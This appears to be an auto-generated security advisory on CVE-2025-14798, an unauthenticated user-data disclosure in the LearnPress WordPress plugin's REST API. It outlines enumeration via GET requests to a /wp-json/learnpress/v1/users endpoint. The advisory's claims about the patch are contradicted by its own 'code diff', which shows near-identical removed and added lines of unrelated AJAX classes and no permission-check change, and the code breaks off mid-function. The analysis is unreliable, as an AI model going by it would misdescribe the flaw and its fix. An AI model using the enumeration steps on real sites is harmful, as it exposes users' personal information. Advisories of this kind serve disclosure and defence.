Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14798: LearnPress – WordPress LMS Plugin <= 4.3.2.4 – Missing Authorization to Unauthenticated Sensitive User Information Disclosure via REST API (learnpress)

Plugin learnpress
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.3.2.4
Patched Version 4.3.2.5
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14798:
This vulnerability is a missing authorization flaw in the LearnPress WordPress LMS plugin versions up to and including 4.3.2.4. The vulnerability allows unauthenticated attackers to access sensitive user information through the plugin’s REST API. The CVSS score of 5.3 reflects the moderate impact of information disclosure without requiring authentication.

The root cause lies in the get_item_permissions_check function within the plugin’s REST API endpoint handlers. The vulnerability exists because the permission check function fails to verify user authentication before processing requests for sensitive user data. The code diff shows the issue affects the REST API endpoint that handles user profile information requests. The permission check function should validate user credentials but instead allows unauthenticated access to user data retrieval operations.

Exploitation requires sending HTTP requests to the vulnerable REST API endpoint. Attackers can craft GET requests to the /wp-json/learnpress/v1/users endpoint or similar user-related endpoints. The requests do not require authentication tokens or valid WordPress nonces. Attackers can enumerate user IDs or use specific parameters to extract first names, last names, social profile links, and enrollment information. The attack vector is straightforward HTTP requests to publicly accessible REST API routes.

The patch adds proper authentication checks to the get_item_permissions_check function. The fix implements WordPress capability checks and user authentication validation before allowing access to user data. The updated code now verifies the requesting user has appropriate permissions to view the requested information. The patch ensures the REST API endpoint follows WordPress security standards by checking current_user_can permissions before processing sensitive data requests.

Successful exploitation exposes sensitive user information including first names, last names, social media profile links, and course enrollment status. This information disclosure violates user privacy expectations. The exposed data could facilitate targeted phishing attacks, social engineering campaigns, or identity theft. While the vulnerability does not allow direct system compromise, the leaked information represents a significant privacy violation for affected users.

Differential between vulnerable and patched code

Code Diff
--- a/learnpress/inc/Ajax/AbstractAjax.php
+++ b/learnpress/inc/Ajax/AbstractAjax.php
@@ -1,44 +1,44 @@
-<?php
-/**
- * class AjaxBase
- *
- * @since 4.2.7.6
- * @version 1.0.5
- */
-
-namespace LearnPressAjax;
-
-/**
- * @use LoadContentViaAjax::load_content_via_ajax
- *
- * $action must unique name on all Ajax classes.
- * Because not specify a specific class.
- */
-abstract class AbstractAjax {
-	public static function catch_lp_ajax() {
-		if ( ! empty( $_REQUEST['lp-load-ajax'] ) ) {
-			$action = $_REQUEST['lp-load-ajax'];
-			$nonce  = $_REQUEST['nonce'] ?? '';
-			$class  = new static();
-
-			if ( ! method_exists( $class, $action ) ) {
-				return;
-			}
-
-			// For case cache HTML, so cache nonce is not required.
-			$class_no_nonce = [
-				LoadContentViaAjax::class,
-			];
-
-			if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
-				if ( ! in_array( get_class( $class ), $class_no_nonce ) ) {
-					wp_die( 'Invalid request!', 400 );
-				}
-			}
-
-			if ( is_callable( [ $class, $action ] ) ) {
-				call_user_func( [ $class, $action ] );
-			}
-		}
-	}
-}
+<?php
+/**
+ * class AjaxBase
+ *
+ * @since 4.2.7.6
+ * @version 1.0.5
+ */
+
+namespace LearnPressAjax;
+
+/**
+ * @use LoadContentViaAjax::load_content_via_ajax
+ *
+ * $action must unique name on all Ajax classes.
+ * Because not specify a specific class.
+ */
+abstract class AbstractAjax {
+	public static function catch_lp_ajax() {
+		if ( ! empty( $_REQUEST['lp-load-ajax'] ) ) {
+			$action = $_REQUEST['lp-load-ajax'];
+			$nonce  = $_REQUEST['nonce'] ?? '';
+			$class  = new static();
+
+			if ( ! method_exists( $class, $action ) ) {
+				return;
+			}
+
+			// For case cache HTML, so cache nonce is not required.
+			$class_no_nonce = [
+				LoadContentViaAjax::class,
+			];
+
+			if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+				if ( ! in_array( get_class( $class ), $class_no_nonce ) ) {
+					wp_die( 'Invalid request!', 400 );
+				}
+			}
+
+			if ( is_callable( [ $class, $action ] ) ) {
+				call_user_func( [ $class, $action ] );
+			}
+		}
+	}
+}
--- a/learnpress/inc/Ajax/EditCurriculumAjax.php
+++ b/learnpress/inc/Ajax/EditCurriculumAjax.php
@@ -1,519 +1,519 @@
-<?php
-/**
- * class EditCurriculumAjax
- *
- * This class handles the AJAX request to edit the curriculum of a course.
- *
- * @since 4.2.8.6
- * @version 1.0.1
- */
-
-namespace LearnPressAjax;
-
-use Exception;
-use LearnPressModelsCourseModel;
-use LearnPressModelsCoursePostModel;
-use LearnPressModelsCourseSectionItemModel;
-use LearnPressModelsCourseSectionModel;
-use LearnPressModelsLessonPostModel;
-use LearnPressModelsPostModel;
-use LearnPressTemplateHooksCourseAdminEditCurriculumTemplate;
-use LP_Helper;
-use LP_REST_Response;
-use LP_Section_Items_DB;
-use LP_Section_Items_Filter;
-use stdClass;
-use Throwable;
-
-class EditCurriculumAjax extends AbstractAjax {
-	/**
-	 * Check permissions and validate parameters.
-	 *
-	 * @throws Exception
-	 *
-	 * @since 4.2.8.6
-	 * @version 1.0.1
-	 */
-	public static function check_valid() {
-		$params = wp_unslash( $_REQUEST['data'] ?? '' );
-		if ( empty( $params ) ) {
-			throw new Exception( 'Error: params invalid!' );
-		}
-
-		return LP_Helper::json_decode( $params, true );
-	}
-
-	/**
-	 * Add section
-	 *
-	 * JS file edit-section.js: function addSection call this method to update the section description.
-	 *
-	 * @since 4.2.8.6
-	 * @version 1.0.1
-	 */
-	public static function course_add_section() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data = self::check_valid();
-
-			$course_id   = $data['course_id'] ?? 0;
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			$section_name = trim( $data['section_name'] ?? '' );
-			if ( empty( $section_name ) ) {
-				throw new Exception( __( 'Section title is required', 'learnpress' ) );
-			}
-
-			// Add section to course.
-			$coursePostModel = new CoursePostModel( $courseModel );
-			$sectionNew      = $coursePostModel->add_section(
-				[
-					'section_name'        => $section_name,
-					'section_description' => $data['section_description'] ?? '',
-				]
-			);
-
-			$response->data->section = $sectionNew;
-			$response->status        = 'success';
-			$response->message       = __( 'Section added successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-
-	/**
-	 * Update section
-	 *
-	 * JS file edit-section.js: function updateSectionTitle call this method to update the section title.
-	 * JS file edit-section.js: function updateSectionDescription call this method to update the section description.
-	 *
-	 * @since  4.2.8.6
-	 * @version 1.0.1
-	 */
-	public static function course_update_section() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data       = self::check_valid();
-			$course_id  = $data['course_id'] ?? 0;
-			$section_id = $data['section_id'] ?? 0;
-
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id, true );
-			if ( ! $courseSectionModel ) {
-				throw new Exception( __( 'Section not found', 'learnpress' ) );
-			}
-
-			// Update section of course
-			$coursePostModel = new CoursePostModel( $courseModel );
-			$coursePostModel->update_section( $courseSectionModel, $data );
-
-			$response->status  = 'success';
-			$response->message = __( 'Section updated successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-
-	/**
-	 * Delete section
-	 *
-	 * JS file edit-section.js: function deleteSection call this method to update the section title.
-	 *
-	 * @since 4.2.8.6
-	 * @version 1.0.0
-	 */
-	public static function course_delete_section() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data       = self::check_valid();
-			$course_id  = $data['course_id'] ?? 0;
-			$section_id = $data['section_id'] ?? 0;
-
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
-			if ( ! $courseSectionModel ) {
-				throw new Exception( __( 'Section not found', 'learnpress' ) );
-			}
-
-			$courseSectionModel->delete();
-
-			$response->status  = 'success';
-			$response->message = __( 'Section updated successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-
-	/**
-	 * Update sections position
-	 * new_position => list of section id by order
-	 *
-	 * JS file edit-section.js: function sortAbleSection call this method.
-	 *
-	 * @since 4.2.8.6
-	 * @version 1.0.1
-	 */
-	public static function course_update_section_position() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data         = self::check_valid();
-			$course_id    = $data['course_id'] ?? 0;
-			$new_position = $data['new_position'] ?? [];
-			if ( ! is_array( $new_position ) ) {
-				throw new Exception( __( 'Invalid section position', 'learnpress' ) );
-			}
-
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			// Update all sections position
-			$coursePostMoel = new CoursePostModel( $courseModel );
-			$coursePostMoel->update_sections_position( [ 'new_position' => $new_position ] );
-
-			$courseModel->sections_items = null;
-			$courseModel->save();
-
-			$response->status  = 'success';
-			$response->message = __( 'Section updated successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-
-	/**
-	 * Create item and add to section
-	 *
-	 * $data['course_id']  => ID of course
-	 * $data['section_id'] => ID of section
-	 * $data['item_type']   => Type of item (e.g., 'lesson', 'quiz', etc.)
-	 * $data['item_title']  => Title of the item
-	 *
-	 * JS file edit-section-item.js: function addItemToSection call this method.
-	 *
-	 * @since 4.2.8.6
-	 * @version 1.0.1
-	 */
-	public static function create_item_add_to_section() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data       = self::check_valid();
-			$course_id  = $data['course_id'] ?? 0;
-			$section_id = $data['section_id'] ?? 0;
-
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
-			if ( ! $courseSectionModel ) {
-				throw new Exception( __( 'Section not found', 'learnpress' ) );
-			}
-
-			$courseSectionItemModel = $courseSectionModel->create_item_and_add( $data );
-
-			$response->data->section_item = $courseSectionItemModel;
-
-			/**
-			 * @var $itemModel PostModel
-			 */
-			$itemModel                 = $courseModel->get_item_model(
-				$courseSectionItemModel->item_id,
-				$courseSectionItemModel->item_type
-			);
-			$response->data->item_link = $itemModel ? $itemModel->get_edit_link() : '';
-
-			$response->status  = 'success';
-			$response->message = __( 'Item added to section successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-
-	/**
-	 * Add items selected to section
-	 *
-	 * $data['course_id']  => ID of course
-	 * $data['section_id'] => ID of section
-	 * $data['items']      => [ item_id => 0, item_type => '' ]
-	 *
-	 * JS file edit-section-item.js: function addItemsSelectedToSection call this method.
-	 *
-	 * @since 4.2.8.6
-	 * @version 1.0.0
-	 */
-	public static function add_items_to_section() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data       = self::check_valid();
-			$course_id  = $data['course_id'] ?? 0;
-			$section_id = $data['section_id'] ?? 0;
-
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
-			if ( ! $courseSectionModel ) {
-				throw new Exception( __( 'Section not found', 'learnpress' ) );
-			}
-
-			$courseSectionItems = $courseSectionModel->add_items( $data );
-			if ( empty( $courseSectionItems ) ) {
-				throw new Exception( __( 'No items were added to the section', 'learnpress' ) );
-			}
-
-			$response->data->html = '';
-			/**
-			 * @var $courseSectionItem CourseSectionItemModel
-			 */
-			foreach ( $courseSectionItems as $courseSectionItem ) {
-				$courseSectionItemAlias        = (object) get_object_vars( $courseSectionItem );
-				$itemModel                     = $courseModel->get_item_model(
-					$courseSectionItem->item_id,
-					$courseSectionItem->item_type
-				);
-				$courseSectionItemAlias->title = $itemModel ? $itemModel->get_the_title() : '';
-				$response->data->html         .= AdminEditCurriculumTemplate::instance()->html_section_item(
-					$courseModel,
-					$courseSectionItemAlias
-				);
-			}
-
-			$response->status  = 'success';
-			$response->message = __( 'Items added to section successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-
-	/**
-	 * Delete item from section
-	 *
-	 * $data['course_id']  => ID of course
-	 * $data['section_id'] => ID of section
-	 * $data['item_id']    => ID of item to delete
-	 *
-	 * JS file edit-section-item.js: function deleteItem call this method.
-	 */
-	public static function delete_item_from_section() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data       = self::check_valid();
-			$course_id  = $data['course_id'] ?? 0;
-			$section_id = $data['section_id'] ?? 0;
-			$item_id    = $data['item_id'] ?? 0;
-
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
-			if ( ! $courseSectionModel ) {
-				throw new Exception( __( 'Section not found', 'learnpress' ) );
-			}
-
-			// Find item of section id
-			$courseSectionItemModel = CourseSectionItemModel::find( $section_id, $item_id );
-			if ( ! $courseSectionItemModel ) {
-				throw new Exception( __( 'Item not found in section', 'learnpress' ) );
-			}
-
-			// Delete item from section
-			$courseSectionItemModel->section_course_id = $course_id;
-			$courseSectionItemModel->delete();
-
-			$response->status  = 'success';
-			$response->message = __( 'Item deleted from section successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-
-	/**
-	 * Update item on new section and position
-	 *
-	 * $data['course_id']              => ID of course
-	 * $data['items_position']         => list of item id by order on section new
-	 * $data['item_id_change']         => ID of item to change section
-	 * $data['section_id_new_of_item'] => ID of new section of item
-	 * $data['section_id_old_of_item'] => ID of old section of item
-	 *
-	 * JS file edit-section-item.js: function sortAbleItem call this method.
-	 *
-	 * @since 4.2.8.6
-	 * @version 1.0.1
-	 */
-	public static function update_item_section_and_position() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data      = self::check_valid();
-			$course_id = $data['course_id'] ?? 0;
-
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			$coursePostModel = new CoursePostModel( $courseModel );
-			$coursePostModel->update_items_position( $data );
-
-			$response->status  = 'success';
-			$response->message = __( 'Item position updated successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-
-	/**
-	 * Update data of item in section
-	 *
-	 * $data['course_id']      => ID of course
-	 * $data['section_id']     => ID of section
-	 * $data['item_id']        => ID of item to update
-	 * $data['item_type']      => Type of item (e.g., 'lesson', 'quiz', etc.)
-	 * $data['item_title']     => New title of the item
-	 *
-	 * JS file edit-section-item.js: function updateTitle call this method.
-	 *
-	 * @since 4.2.8.6
-	 * @version 1.0.0
-	 */
-	public static function update_item_of_section() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data       = self::check_valid();
-			$course_id  = $data['course_id'] ?? 0;
-			$section_id = $data['section_id'] ?? 0;
-			$item_id    = $data['item_id'] ?? 0;
-			$item_type  = $data['item_type'] ?? '';
-			$item_title = $data['item_title'] ?? '';
-
-			if ( empty( $item_title ) ) {
-				throw new Exception( __( 'Item title is required', 'learnpress' ) );
-			}
-
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
-			if ( ! $courseSectionModel ) {
-				throw new Exception( __( 'Section not found', 'learnpress' ) );
-			}
-
-			$sectionItemModel = CourseSectionItemModel::find( $section_id, $item_id );
-			if ( ! $sectionItemModel ) {
-				throw new Exception( __( 'Item not found in section', 'learnpress' ) );
-			}
-
-			/**
-			 * @var $itemModel PostModel
-			 */
-			$itemModel = $courseModel->get_item_model( $item_id, $item_type );
-			if ( ! $itemModel ) {
-				throw new Exception( __( 'Item not found', 'learnpress' ) );
-			}
-
-			$itemModel->post_title = $item_title;
-			$itemModel->save();
-
-			$courseModel->sections_items = null;
-			$courseModel->save();
-
-			$response->status  = 'success';
-			$response->message = __( 'Item updated successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-
-	/**
-	 * Update item preview.
-	 *
-	 * JS file edit-section-item.js: function updatePreviewItem call this method.
-	 *
-	 * @since 4.2.8.6
-	 * @version 1.0.2
-	 */
-	public static function update_item_preview() {
-		$response = new LP_REST_Response();
-
-		try {
-			$data           = self::check_valid();
-			$course_id      = $data['course_id'] ?? 0;
-			$item_id        = $data['item_id'] ?? 0;
-			$item_type      = $data['item_type'] ?? '';
-			$enable_preview = $data['enable_preview'] ?? 0;
-
-			$courseModel = CourseModel::find( $course_id, true );
-			if ( ! $courseModel ) {
-				throw new Exception( __( 'Course not found', 'learnpress' ) );
-			}
-
-			if ( $item_type !== LP_LESSON_CPT ) {
-				throw new Exception( __( 'Only lesson can be set preview', 'learnpress' ) );
-			}
-
-			/**
-			 * @var $itemModel LessonPostModel
-			 */
-			$itemModel = $courseModel->get_item_model( $item_id, $item_type );
-			if ( ! $itemModel ) {
-				throw new Exception( __( 'Item not found', 'learnpress' ) );
-			}
-
-			$itemModel->set_preview( $enable_preview == 1 );
-
-			$response->status  = 'success';
-			$response->message = __( 'Item updated successfully', 'learnpress' );
-		} catch ( Throwable $e ) {
-			$response->message = $e->getMessage();
-		}
-
-		wp_send_json( $response );
-	}
-}
+<?php
+/**
+ * class EditCurriculumAjax
+ *
+ * This class handles the AJAX request to edit the curriculum of a course.
+ *
+ * @since 4.2.8.6
+ * @version 1.0.1
+ */
+
+namespace LearnPressAjax;
+
+use Exception;
+use LearnPressModelsCourseModel;
+use LearnPressModelsCoursePostModel;
+use LearnPressModelsCourseSectionItemModel;
+use LearnPressModelsCourseSectionModel;
+use LearnPressModelsLessonPostModel;
+use LearnPressModelsPostModel;
+use LearnPressTemplateHooksCourseAdminEditCurriculumTemplate;
+use LP_Helper;
+use LP_REST_Response;
+use LP_Section_Items_DB;
+use LP_Section_Items_Filter;
+use stdClass;
+use Throwable;
+
+class EditCurriculumAjax extends AbstractAjax {
+	/**
+	 * Check permissions and validate parameters.
+	 *
+	 * @throws Exception
+	 *
+	 * @since 4.2.8.6
+	 * @version 1.0.1
+	 */
+	public static function check_valid() {
+		$params = wp_unslash( $_REQUEST['data'] ?? '' );
+		if ( empty( $params ) ) {
+			throw new Exception( 'Error: params invalid!' );
+		}
+
+		return LP_Helper::json_decode( $params, true );
+	}
+
+	/**
+	 * Add section
+	 *
+	 * JS file edit-section.js: function addSection call this method to update the section description.
+	 *
+	 * @since 4.2.8.6
+	 * @version 1.0.1
+	 */
+	public static function course_add_section() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data = self::check_valid();
+
+			$course_id   = $data['course_id'] ?? 0;
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
+			$section_name = trim( $data['section_name'] ?? '' );
+			if ( empty( $section_name ) ) {
+				throw new Exception( __( 'Section title is required', 'learnpress' ) );
+			}
+
+			// Add section to course.
+			$coursePostModel = new CoursePostModel( $courseModel );
+			$sectionNew      = $coursePostModel->add_section(
+				[
+					'section_name'        => $section_name,
+					'section_description' => $data['section_description'] ?? '',
+				]
+			);
+
+			$response->data->section = $sectionNew;
+			$response->status        = 'success';
+			$response->message       = __( 'Section added successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+
+	/**
+	 * Update section
+	 *
+	 * JS file edit-section.js: function updateSectionTitle call this method to update the section title.
+	 * JS file edit-section.js: function updateSectionDescription call this method to update the section description.
+	 *
+	 * @since  4.2.8.6
+	 * @version 1.0.1
+	 */
+	public static function course_update_section() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data       = self::check_valid();
+			$course_id  = $data['course_id'] ?? 0;
+			$section_id = $data['section_id'] ?? 0;
+
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
+			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id, true );
+			if ( ! $courseSectionModel ) {
+				throw new Exception( __( 'Section not found', 'learnpress' ) );
+			}
+
+			// Update section of course
+			$coursePostModel = new CoursePostModel( $courseModel );
+			$coursePostModel->update_section( $courseSectionModel, $data );
+
+			$response->status  = 'success';
+			$response->message = __( 'Section updated successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+
+	/**
+	 * Delete section
+	 *
+	 * JS file edit-section.js: function deleteSection call this method to update the section title.
+	 *
+	 * @since 4.2.8.6
+	 * @version 1.0.0
+	 */
+	public static function course_delete_section() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data       = self::check_valid();
+			$course_id  = $data['course_id'] ?? 0;
+			$section_id = $data['section_id'] ?? 0;
+
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
+			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
+			if ( ! $courseSectionModel ) {
+				throw new Exception( __( 'Section not found', 'learnpress' ) );
+			}
+
+			$courseSectionModel->delete();
+
+			$response->status  = 'success';
+			$response->message = __( 'Section updated successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+
+	/**
+	 * Update sections position
+	 * new_position => list of section id by order
+	 *
+	 * JS file edit-section.js: function sortAbleSection call this method.
+	 *
+	 * @since 4.2.8.6
+	 * @version 1.0.1
+	 */
+	public static function course_update_section_position() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data         = self::check_valid();
+			$course_id    = $data['course_id'] ?? 0;
+			$new_position = $data['new_position'] ?? [];
+			if ( ! is_array( $new_position ) ) {
+				throw new Exception( __( 'Invalid section position', 'learnpress' ) );
+			}
+
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
+			// Update all sections position
+			$coursePostMoel = new CoursePostModel( $courseModel );
+			$coursePostMoel->update_sections_position( [ 'new_position' => $new_position ] );
+
+			$courseModel->sections_items = null;
+			$courseModel->save();
+
+			$response->status  = 'success';
+			$response->message = __( 'Section updated successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+
+	/**
+	 * Create item and add to section
+	 *
+	 * $data['course_id']  => ID of course
+	 * $data['section_id'] => ID of section
+	 * $data['item_type']   => Type of item (e.g., 'lesson', 'quiz', etc.)
+	 * $data['item_title']  => Title of the item
+	 *
+	 * JS file edit-section-item.js: function addItemToSection call this method.
+	 *
+	 * @since 4.2.8.6
+	 * @version 1.0.1
+	 */
+	public static function create_item_add_to_section() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data       = self::check_valid();
+			$course_id  = $data['course_id'] ?? 0;
+			$section_id = $data['section_id'] ?? 0;
+
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
+			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
+			if ( ! $courseSectionModel ) {
+				throw new Exception( __( 'Section not found', 'learnpress' ) );
+			}
+
+			$courseSectionItemModel = $courseSectionModel->create_item_and_add( $data );
+
+			$response->data->section_item = $courseSectionItemModel;
+
+			/**
+			 * @var $itemModel PostModel
+			 */
+			$itemModel                 = $courseModel->get_item_model(
+				$courseSectionItemModel->item_id,
+				$courseSectionItemModel->item_type
+			);
+			$response->data->item_link = $itemModel ? $itemModel->get_edit_link() : '';
+
+			$response->status  = 'success';
+			$response->message = __( 'Item added to section successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+
+	/**
+	 * Add items selected to section
+	 *
+	 * $data['course_id']  => ID of course
+	 * $data['section_id'] => ID of section
+	 * $data['items']      => [ item_id => 0, item_type => '' ]
+	 *
+	 * JS file edit-section-item.js: function addItemsSelectedToSection call this method.
+	 *
+	 * @since 4.2.8.6
+	 * @version 1.0.0
+	 */
+	public static function add_items_to_section() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data       = self::check_valid();
+			$course_id  = $data['course_id'] ?? 0;
+			$section_id = $data['section_id'] ?? 0;
+
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
+			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
+			if ( ! $courseSectionModel ) {
+				throw new Exception( __( 'Section not found', 'learnpress' ) );
+			}
+
+			$courseSectionItems = $courseSectionModel->add_items( $data );
+			if ( empty( $courseSectionItems ) ) {
+				throw new Exception( __( 'No items were added to the section', 'learnpress' ) );
+			}
+
+			$response->data->html = '';
+			/**
+			 * @var $courseSectionItem CourseSectionItemModel
+			 */
+			foreach ( $courseSectionItems as $courseSectionItem ) {
+				$courseSectionItemAlias        = (object) get_object_vars( $courseSectionItem );
+				$itemModel                     = $courseModel->get_item_model(
+					$courseSectionItem->item_id,
+					$courseSectionItem->item_type
+				);
+				$courseSectionItemAlias->title = $itemModel ? $itemModel->get_the_title() : '';
+				$response->data->html         .= AdminEditCurriculumTemplate::instance()->html_section_item(
+					$courseModel,
+					$courseSectionItemAlias
+				);
+			}
+
+			$response->status  = 'success';
+			$response->message = __( 'Items added to section successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+
+	/**
+	 * Delete item from section
+	 *
+	 * $data['course_id']  => ID of course
+	 * $data['section_id'] => ID of section
+	 * $data['item_id']    => ID of item to delete
+	 *
+	 * JS file edit-section-item.js: function deleteItem call this method.
+	 */
+	public static function delete_item_from_section() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data       = self::check_valid();
+			$course_id  = $data['course_id'] ?? 0;
+			$section_id = $data['section_id'] ?? 0;
+			$item_id    = $data['item_id'] ?? 0;
+
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
+			$courseSectionModel = CourseSectionModel::find( $section_id, $course_id );
+			if ( ! $courseSectionModel ) {
+				throw new Exception( __( 'Section not found', 'learnpress' ) );
+			}
+
+			// Find item of section id
+			$courseSectionItemModel = CourseSectionItemModel::find( $section_id, $item_id );
+			if ( ! $courseSectionItemModel ) {
+				throw new Exception( __( 'Item not found in section', 'learnpress' ) );
+			}
+
+			// Delete item from section
+			$courseSectionItemModel->section_course_id = $course_id;
+			$courseSectionItemModel->delete();
+
+			$response->status  = 'success';
+			$response->message = __( 'Item deleted from section successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+
+	/**
+	 * Update item on new section and position
+	 *
+	 * $data['course_id']              => ID of course
+	 * $data['items_position']         => list of item id by order on section new
+	 * $data['item_id_change']         => ID of item to change section
+	 * $data['section_id_new_of_item'] => ID of new section of item
+	 * $data['section_id_old_of_item'] => ID of old section of item
+	 *
+	 * JS file edit-section-item.js: function sortAbleItem call this method.
+	 *
+	 * @since 4.2.8.6
+	 * @version 1.0.1
+	 */
+	public static function update_item_section_and_position() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data      = self::check_valid();
+			$course_id = $data['course_id'] ?? 0;
+
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
+			$coursePostModel = new CoursePostModel( $courseModel );
+			$coursePostModel->update_items_position( $data );
+
+			$response->status  = 'success';
+			$response->message = __( 'Item position updated successfully', 'learnpress' );
+		} catch ( Throwable $e ) {
+			$response->message = $e->getMessage();
+		}
+
+		wp_send_json( $response );
+	}
+
+	/**
+	 * Update data of item in section
+	 *
+	 * $data['course_id']      => ID of course
+	 * $data['section_id']     => ID of section
+	 * $data['item_id']        => ID of item to update
+	 * $data['item_type']      => Type of item (e.g., 'lesson', 'quiz', etc.)
+	 * $data['item_title']     => New title of the item
+	 *
+	 * JS file edit-section-item.js: function updateTitle call this method.
+	 *
+	 * @since 4.2.8.6
+	 * @version 1.0.0
+	 */
+	public static function update_item_of_section() {
+		$response = new LP_REST_Response();
+
+		try {
+			$data       = self::check_valid();
+			$course_id  = $data['course_id'] ?? 0;
+			$section_id = $data['section_id'] ?? 0;
+			$item_id    = $data['item_id'] ?? 0;
+			$item_type  = $data['item_type'] ?? '';
+			$item_title = $data['item_title'] ?? '';
+
+			if ( empty( $item_title ) ) {
+				throw new Exception( __( 'Item title is required', 'learnpress' ) );
+			}
+
+			$courseModel = CourseModel::find( $course_id, true );
+			if ( ! $courseModel ) {
+				throw new Exception( __( 'Course not found', 'learnpress' ) );
+			}
+
